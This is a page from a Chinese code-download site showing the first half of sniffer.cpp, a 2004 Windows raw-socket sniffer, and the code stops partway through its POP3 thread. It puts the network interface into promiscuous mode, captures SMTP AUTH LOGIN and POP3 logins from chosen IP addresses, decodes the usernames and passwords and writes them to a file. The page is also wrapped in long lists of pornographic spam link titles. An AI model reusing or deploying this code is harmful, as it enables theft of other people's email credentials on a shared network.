亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? sniffer.cpp

?? Sniffer using Sock_raw. 挺不錯(cuò)的。
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
////////////////////////////////////////////////////////////////////////////////////
//                             Raw Sniffer Code  V1.0                             //
//                        powered by shadow @2004/10/4                            //
//                   my web:http://www.codehome.6600.org                          //
////////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "SNIFFER.h"
#include "BASE641.h"
#pragma comment(lib,"wsock32.lib")
//
typedef struct _USERINFO{  //參數(shù)信息結(jié)構(gòu)體 
CString ProtoType;
CString sourceip;
CString sourceport;
CString destip;
CString destport;
int SelfSnifferStartFlag;  
int SnifferStartFlag;      
int Way;                   //嗅探方式,1[單向嗅探],0[雙向嗅探]
char SnifferDataPath[MAX_PATH];    //smtp和pop嗅探路徑
char SelfSnifferDataPath[MAX_PATH];//自定義嗅探路徑
int MaxData;               //最大記錄,單位M
}USERINFO,LPUSERINFO;
//
USERINFO userinfo;
SOCKET RawSocket; 
FILE *fsniffer;
int BasePort;
CString SmtpListenIpList[MAX_SUBTHREAD_NUM];       //監(jiān)聽列表
CString PopListenIpList[MAX_SUBTHREAD_NUM];
CString ListenSmtpIp; //臨時(shí)監(jiān)聽ip
CString ListenPopIp;  
CString PopServerIp;  //pop服務(wù)器ip
int SubThreadIdList[MAX_SUBTHREAD_NUM*2];   //子線程id列表
//獲得協(xié)議類型
char * GetProtocol(unsigned char proto){  
   switch(proto){
     case IPPROTO_TCP:return IPPROTO_TCP_TXT;break;
	 case IPPROTO_UDP:return IPPROTO_UDP_TXT;break;
	 case IPPROTO_ICMP:return IPPROTO_ICMP_TXT;break;
	 case IPPROTO_IGMP:return IPPROTO_IGMP_TXT;break;
	 default:return IPPROTO_DEFAULT_TXT;break;
	 }
 }

 //check ip if is listened
bool SmtpIpIsListened(CString ip){
  int i;
  for(i=0;i<MAX_SUBTHREAD_NUM;i++){
     if(SmtpListenIpList[i].Compare(ip)==0) return true;
	 }
  return false;
} 

bool PopIpIsListened(CString ip){
  int i;
  for(i=0;i<MAX_SUBTHREAD_NUM;i++){
     if(PopListenIpList[i].Compare(ip)==0) return true;
	 }
  return false;
} 

bool InsertSmtpListenIpList(CString ip){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	      if(SmtpListenIpList[i]==""){
		     SmtpListenIpList[i]=ip; 
			 return true;
			 }
		  }
       return false;
}
bool InsertPopListenIpList(CString ip){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	      if(PopListenIpList[i]==""){
		     PopListenIpList[i]=ip; 
			 return true;
			 }
		  }
       return false;
}

bool DeleteSmtpListenIp(CString ip){
     int i;
	 for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	     if(SmtpListenIpList[i].Compare(ip)==0){
		    SmtpListenIpList[i]="";
			return true;
			}
		 }
     return false;
}
bool DeletePopListenIp(CString ip){
     int i;
	 for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	     if(PopListenIpList[i].Compare(ip)==0){
		    PopListenIpList[i]="";
			return true;
			}
		 }
     return false;
}
bool InsertSubThreadIdList(int threadid){
       int i;
	   for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	       if(SubThreadIdList[i]==0){
		      SubThreadIdList[i]=threadid;
			  return true;
			  }
		   }
	   return false; 
}

bool DeleteSubThreadId(int threadid){
    int i;
	for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	   if(SubThreadIdList[i]==threadid){
	      SubThreadIdList[i]=0;
		  return true;
		  }
	   }
	return false;
}

int MessageSubThread(unsigned int msg){  //線程消息通知
    int i,errorcode;
	errorcode=0;
	for(i=0;i<MAX_SUBTHREAD_NUM;i++){
	   if(SubThreadIdList[i]!=0){
	      try{
		      PostThreadMessage(SubThreadIdList[i],msg,NULL,NULL);
			  }
		  catch(...){
              errorcode=14;
			  }
		  }
	   }
	return errorcode;
}
//
CString GetSnifferData(SOCKET listensocket,CString listenip,CString ToPort){
   char buffer[65535];
   int readnum,totalbytes,datalen,HeaderLen;
   IP_HEADER *IpHeader;
   TCP_HEADER *TcpHeader;
   UDP_HEADER *UdpHeader;
   ICMP_HEADER *IcmpHeader;
   CString FromIp,DestIp,FromPort,DestPort,Protocol,PacketData,DataLen;
   char fromip[20],destip[20];
   char *pdata;
   //sniffer deail code
   ZeroMemory(buffer,65535);
   ZeroMemory(fromip,20);
   ZeroMemory(destip,20);
   datalen=0;
   readnum=recv(listensocket,buffer,65535,0);
   if(readnum==SOCKET_ERROR){
     PacketData="no data";
	 return PacketData;
	 }
   IpHeader=(IP_HEADER *)buffer;
   Protocol.Format("%s",GetProtocol((unsigned char)IpHeader->Protocol));
   sprintf(fromip,"%d.%d.%d.%d",IpHeader->FromIP.address[0],IpHeader->FromIP.address[1],IpHeader->FromIP.address[2],IpHeader->FromIP.address[3]);
   sprintf(destip,"%d.%d.%d.%d",IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);
   FromIp.Format("%s",fromip);
   DestIp.Format("%s",destip);
   totalbytes=ntohs(IpHeader->TotalLen);
   HeaderLen=(IpHeader->VersionHdl&0x0f)*4;
   totalbytes-=HeaderLen;
   switch(IpHeader->Protocol){
      case IPPROTO_ICMP:
	     IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-ICMP_HEADER_LEN;
		 FromPort.Format("-");
		 DestPort.Format("-");
		 pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;
		 PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);
         break;
	  case IPPROTO_UDP:
	     UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);
		 datalen=totalbytes-UDP_HEADER_LEN;
		 FromPort.Format("%d",ntohs(UdpHeader->FromPort));
		 DestPort.Format("%d",ntohs(UdpHeader->ToPort));
		 pdata=(char *)UdpHeader+UDP_HEADER_LEN;
		 PacketData.Format("%s",pdata);
		 break;
	  case IPPROTO_TCP:
	     TcpHeader=(TCP_HEADER *)(buffer+HeaderLen);
		 HeaderLen=((TcpHeader->HeaderLen)>>4)*4;
         FromPort.Format("%d",ntohs(TcpHeader->FromPort));
		 DestPort.Format("%d",ntohs(TcpHeader->ToPort));
		 pdata=(char *)TcpHeader+HeaderLen;
		 PacketData.Format("%s",pdata);
		 datalen=totalbytes-HeaderLen;
		 break;
	  default:
	     FromPort.Format("-");
		 DestPort.Format("-");
		 datalen=totalbytes;
		 PacketData.Format("no data");
		 break;
	  }
   DataLen.Format("%d",datalen);
  //  PacketData="no data";
   if(FromIp.Compare(listenip)==0&&DestPort.Compare(ToPort)==0) return PacketData;
   else PacketData="no data";
   return PacketData;
}
//write smtp sniffer
void WriteSMTPSniffer(char *filename,CString username,CString password,CString mailfrom,CString mailto){
CString SnifferTRHead="\r\n-----------------SMTP嗅探------------------\r\n";
FILE *fout;
fout=fopen(filename,"ab+");
if(fout!=NULL){
  fputs(SnifferTRHead,fout);
  fputs("用戶名:"+username+"\r\n密碼:"+password+"\r\n"+mailfrom+"\r\n"+mailto,fout);
  fclose(fout);
  }
else printf("File can not create...\r\n");
}
//write pop sniffer
void WritePOPSniffer(char *filename,CString username,CString password,CString pop){
CString SnifferTRHead="\r\n-----------------POP嗅探------------------\r\n";
FILE *fout;
fout=fopen(filename,"ab+");
if(fout!=NULL){
  fputs(SnifferTRHead,fout);
  fputs("用戶名:"+username+"\r\n密碼:"+password+"\r\nPOP IP:"+pop,fout);
  fclose(fout);
  }
else printf("File can not create...\r\n");
}
//SMTP登陸嗅探線程
UINT SmtpSnifferThread(LPVOID param){
//
MSG msg;
int ErrorCode;
CString SnifferStr;
CString ListenIp,toport;
bool SMTPSTART;
bool SMTPAUTHLOGIN;
int  SMTP_LOGIN_STEP;
bool SMTPDATASTART;
bool GetMailOK;
CString MailFrom,MailTo,UserName,PassWord,MailData,AllString;
SMTPSTART=true;
SMTPAUTHLOGIN=false;
SMTPDATASTART=false;
GetMailOK=false;
MailFrom="no get mailfrom";
MailTo="no get mailto";
UserName="no get username";
PassWord="no get password";
MailData="no get maildata";
int this_threadid=GetCurrentThreadId();
InsertSubThreadIdList(this_threadid);
ListenIp=ListenSmtpIp;
toport="25";
//set rawsock to listen
SOCKET SmtpSocket;
SmtpSocket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(SmtpSocket==INVALID_SOCKET){
  ErrorCode=4;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
int rcvtimeout=5000;
if(setsockopt(SmtpSocket,SOL_SOCKET,SO_RCVTIMEO,(const char *)&rcvtimeout,sizeof(rcvtimeout))==SOCKET_ERROR){
  ErrorCode=5;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
char hostname[100];
char *hostip;
hostent *myhost;
sockaddr_in localsock;
gethostname(hostname,100);
myhost=gethostbyname(hostname);
hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);
localsock.sin_family=AF_INET;
localsock.sin_port=htons(++BasePort);
localsock.sin_addr.S_un.S_addr=inet_addr(hostip);
if(bind(SmtpSocket,(const sockaddr *)&localsock,sizeof(localsock))==SOCKET_ERROR){
  ErrorCode=7;
  DeleteSmtpListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
DWORD dwValue=1;
if(ioctlsocket(SmtpSocket,SIO_RCVALL,&dwValue)==SOCKET_ERROR){
   ErrorCode=8;
   DeleteSmtpListenIp(ListenIp);
   DeleteSubThreadId(this_threadid);
   return ErrorCode;
   }
//
printf("\r\n"+ListenIp+":sub thread smtp sniffer start!try to sniffer data...\r\n");
while(true){  
     if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){
        closesocket(SmtpSocket);
		TRACE("subthread  close ok!");
	    break;
	    }
     SnifferStr=GetSnifferData(SmtpSocket,ListenIp,toport);	
	 if(SnifferStr.Compare("no data")==0){
       Sleep(2);	   
	   continue;
	   }
     int index;
     CString LowSnifferStr;
	 LowSnifferStr=SnifferStr;
	 LowSnifferStr.MakeLower();	
     if(SMTPSTART){
	    if(index=LowSnifferStr.Find("mail from:",0)==0){
		   if(index=SnifferStr.Find("\r\n",0)){
		       if(MailFrom=="no get mailfrom") MailFrom=SnifferStr.Mid(0,index);
			   }
		   }
	    else if(index=LowSnifferStr.Find("rcpt to:",0)==0){
		   if(index=SnifferStr.Find("\r\n",0)){
		       if(MailTo=="no get mailto") MailTo=SnifferStr.Mid(0,index);
			   }
		   SMTPSTART=false;
	       TRACE("get last data!\r\n");
	       GetMailOK=true;
		   break;
		   }
		else if(SMTPAUTHLOGIN){
		   if(SMTP_LOGIN_STEP==1){
		      if(index=SnifferStr.Find("\r\n",0)){
			     if(UserName=="no get username") UserName=SnifferStr.Mid(0,index);
				 }
			  SMTP_LOGIN_STEP=2;
			  continue;
			  }
		   if(SMTP_LOGIN_STEP==2){
		      if(index=SnifferStr.Find("\r\n",0)){
			     if(PassWord=="no get password") PassWord=SnifferStr.Mid(0,index);
				 }
			  SMTPAUTHLOGIN=false;
			  }
		   }
		/*
		if(index=LowSnifferStr.Find("data",0)==0){
		   SMTPDATASTART=true;
		   TRACE("listen data ok!\r\n");
		   continue;
		   }
		*/
		else if(index=LowSnifferStr.Find("auth login",0)==0){
		   SMTPAUTHLOGIN=true;
		   SMTP_LOGIN_STEP=1;
		   }
		/*
		if(SMTPDATASTART){
			if(index=SnifferStr.Find("\r\n.\r\n",0)){
			   MailData+=SnifferStr.Mid(0,index);
			   SMTPDATASTART=false;
			   TRACE(MailData+"get mail data ok!\r\n");
			   continue;
			   }
			else{
			   MailData+=SnifferStr;
			   continue;
			   }			
			}
		*/
        else if(index=LowSnifferStr.Find("quit",0)==0){
		    SMTPSTART=false;
			TRACE("get last data!\r\n");
			GetMailOK=true;
			break;
		    }				
		}
	Sleep(1);
	}
if(GetMailOK&&UserName!="no get username"&&PassWord!="no get password"){
 BASE64 base64;
 char enusername[50];
 char enpassword[50];
 ZeroMemory(enusername,0,50);
 ZeroMemory(enpassword,0,50);
 if(UserName!="no get username"&&UserName.GetLength()<50){
    sprintf(enusername,"%s",UserName);
	UserName.Format("%s",base64.StringDecode((unsigned char *)enusername));
	}
 if(PassWord!="no get password"&&PassWord.GetLength()<50){
    sprintf(enpassword,"%s",PassWord);
	PassWord.Format("%s",base64.StringDecode((unsigned char *)enpassword));
	}
 AllString=UserName+"\r\n"+PassWord+"\r\n"+MailFrom+"\r\n"+MailTo;
 printf("This is listen:\r\n"+AllString);
 WriteSMTPSniffer(userinfo.SnifferDataPath,UserName,PassWord,MailFrom,MailTo);
 }
closesocket(SmtpSocket);
Sleep(1000);
DeleteSmtpListenIp(ListenIp);
DeleteSubThreadId(this_threadid);
TRACE("\r\nsub thread exit!");
return 0;
}


//POP3登陸嗅探線程
UINT PopSnifferThread(LPVOID param){

MSG msg;
int ErrorCode;
CString SnifferStr;
CString ListenIp,PopIp,toport;
bool POPSTART;
bool GetMailOK;
CString UserName,PassWord,AllString;
ListenIp=ListenPopIp;
PopIp=PopServerIp;
POPSTART=true;
GetMailOK=false;
UserName="no get username";
PassWord="no get password";
int this_threadid=GetCurrentThreadId();
InsertSubThreadIdList(this_threadid);
toport="110";
//set rawsock to listen
SOCKET POPSocket;
POPSocket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(POPSocket==INVALID_SOCKET){
  ErrorCode=4;
  DeletePopListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
int rcvtimeout=5000;
if(setsockopt(POPSocket,SOL_SOCKET,SO_RCVTIMEO,(const char *)&rcvtimeout,sizeof(rcvtimeout))==SOCKET_ERROR){
  ErrorCode=5;
  DeletePopListenIp(ListenIp);
  DeleteSubThreadId(this_threadid);
  return ErrorCode;
  }
char hostname[100];
char *hostip;
hostent *myhost;
sockaddr_in localsock;

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区久久| 日本久久电影网| 国产精品高潮呻吟| 一本久久a久久精品亚洲 | 久久综合久久99| 国产成人av福利| 亚洲欧美成人一区二区三区| 欧美日韩精品久久久| 免费成人在线影院| 国产欧美日韩激情| 91福利精品视频| 免费观看一级特黄欧美大片| 久久久国产午夜精品| 91在线观看美女| 视频一区视频二区中文字幕| 久久免费看少妇高潮| 色香蕉成人二区免费| 全国精品久久少妇| 日本一区二区三区四区在线视频| 在线观看中文字幕不卡| 久久丁香综合五月国产三级网站| 国产精品美女久久久久久2018| 欧美午夜电影网| 国产麻豆视频一区| 一区二区理论电影在线观看| 日韩欧美综合在线| 成人av网站免费观看| 首页亚洲欧美制服丝腿| 国产视频视频一区| 欧美少妇xxx| 国产精品羞羞答答xxdd| 亚洲成人激情综合网| 国产日韩一级二级三级| 欧美精品欧美精品系列| 国产成人福利片| 香蕉成人伊视频在线观看| 欧美国产日产图区| 日韩亚洲欧美在线| 91免费版在线| 国内精品久久久久影院色| 亚洲精品日韩一| 精品久久一二三区| 欧洲av在线精品| 国产精品一区二区三区四区| 性久久久久久久| 国产精品超碰97尤物18| 精品国产成人在线影院| 欧洲一区二区av| 成人中文字幕电影| 日本免费在线视频不卡一不卡二| 17c精品麻豆一区二区免费| 日韩欧美成人午夜| 欧美日韩三级在线| av电影天堂一区二区在线| 理论片日本一区| 亚洲高清三级视频| 亚洲欧美偷拍三级| 国产亚洲女人久久久久毛片| 4438x亚洲最大成人网| 色婷婷一区二区三区四区| 国产激情一区二区三区| 美女性感视频久久| 亚洲aaa精品| 亚洲女爱视频在线| 中文字幕不卡的av| 久久久亚洲高清| 欧美一级日韩免费不卡| 欧美性大战久久久久久久 | 国产福利一区在线| 美美哒免费高清在线观看视频一区二区 | 亚洲视频一二三| 久久久久久久久久久久久夜| 欧美一区二区视频在线观看2020| 色综合一个色综合亚洲| 国产凹凸在线观看一区二区| 另类小说欧美激情| 日韩精品五月天| 五月婷婷另类国产| 亚洲综合一区二区| 亚洲精品国产无天堂网2021 | 色综合网站在线| 成人免费三级在线| 国产99精品在线观看| 黄网站免费久久| 裸体健美xxxx欧美裸体表演| 日韩成人免费电影| 婷婷久久综合九色综合伊人色| 一区二区三区欧美亚洲| 亚洲人成人一区二区在线观看 | 自拍视频在线观看一区二区| 亚洲国产精品99久久久久久久久| 26uuu亚洲| 精品国一区二区三区| 欧美一区二区不卡视频| 制服丝袜国产精品| 3d动漫精品啪啪| 欧美一区二区女人| 欧美一级午夜免费电影| 欧美一区二区三区日韩视频| 91精品免费在线| 欧美一区二区三区播放老司机| 538prom精品视频线放| 这里只有精品电影| 欧美一区二区三区视频免费播放 | www.欧美日韩国产在线| 成人av网址在线观看| 97久久人人超碰| 色一情一乱一乱一91av| 欧美性生活久久| 欧美另类高清zo欧美| 91 com成人网| 日韩免费观看高清完整版在线观看| 欧美电影精品一区二区| 久久九九全国免费| 国产精品国产成人国产三级| 亚洲免费资源在线播放| 亚洲线精品一区二区三区八戒| 亚洲成在人线免费| 奇米影视一区二区三区| 狠狠色2019综合网| 国产丶欧美丶日本不卡视频| 成人高清视频在线| 欧美在线观看视频一区二区| 欧美人与性动xxxx| 精品动漫一区二区三区在线观看| 国产欧美一区二区精品仙草咪| 国产精品久久久久永久免费观看| 亚洲欧美日韩国产成人精品影院 | 成人综合婷婷国产精品久久 | 国产精品久久久久四虎| 亚洲欧美激情小说另类| 视频一区在线视频| 国产专区综合网| 99久久久精品| 3d成人动漫网站| 久久亚洲精品小早川怜子| 国产精品第一页第二页第三页| 亚洲免费高清视频在线| 日本成人超碰在线观看| 国产成人亚洲精品狼色在线| 色综合天天视频在线观看 | 久久众筹精品私拍模特| 最新日韩av在线| 日韩高清在线一区| 国产精品99久久久久久久vr| 91色视频在线| 欧美一区二区日韩| 国产精品久久夜| 香蕉久久一区二区不卡无毒影院| 国产一区二区91| 一本大道久久a久久综合| 日韩女优制服丝袜电影| 综合久久国产九一剧情麻豆| 五月天激情综合网| 国产精品一区二区视频| 欧美影片第一页| 久久这里只精品最新地址| 伊人夜夜躁av伊人久久| 久久国内精品自在自线400部| 懂色中文一区二区在线播放| 欧美日韩视频在线第一区| 久久精品视频一区| 亚洲图片欧美一区| 懂色av中文一区二区三区| 精品视频1区2区| 中文一区二区完整视频在线观看| 亚洲国产成人va在线观看天堂| 国产一区在线看| 欧美日韩激情在线| 国产精品久久久久久久岛一牛影视| 图片区日韩欧美亚洲| 成人aa视频在线观看| 91精品国产综合久久国产大片| 国产精品久久久久aaaa樱花| 蜜臀av在线播放一区二区三区| 99久久久久久99| ww亚洲ww在线观看国产| 亚洲国产日韩a在线播放性色| 国产91丝袜在线播放0| 4438成人网| 一区二区三区在线免费视频| 高清日韩电视剧大全免费| 91麻豆精品国产91久久久久久久久| 亚洲日本在线看| 国产麻豆一精品一av一免费| 制服丝袜亚洲播放| 亚洲已满18点击进入久久| 国产91精品一区二区麻豆亚洲| 日韩欧美一区二区视频| 亚洲一二三区视频在线观看| www..com久久爱| 国产日韩av一区| 久久国产精品99久久久久久老狼| 欧美日精品一区视频| 18涩涩午夜精品.www| 国产成人99久久亚洲综合精品| 日韩一区二区麻豆国产| 亚洲动漫第一页| 一本在线高清不卡dvd| 中文字幕第一区二区|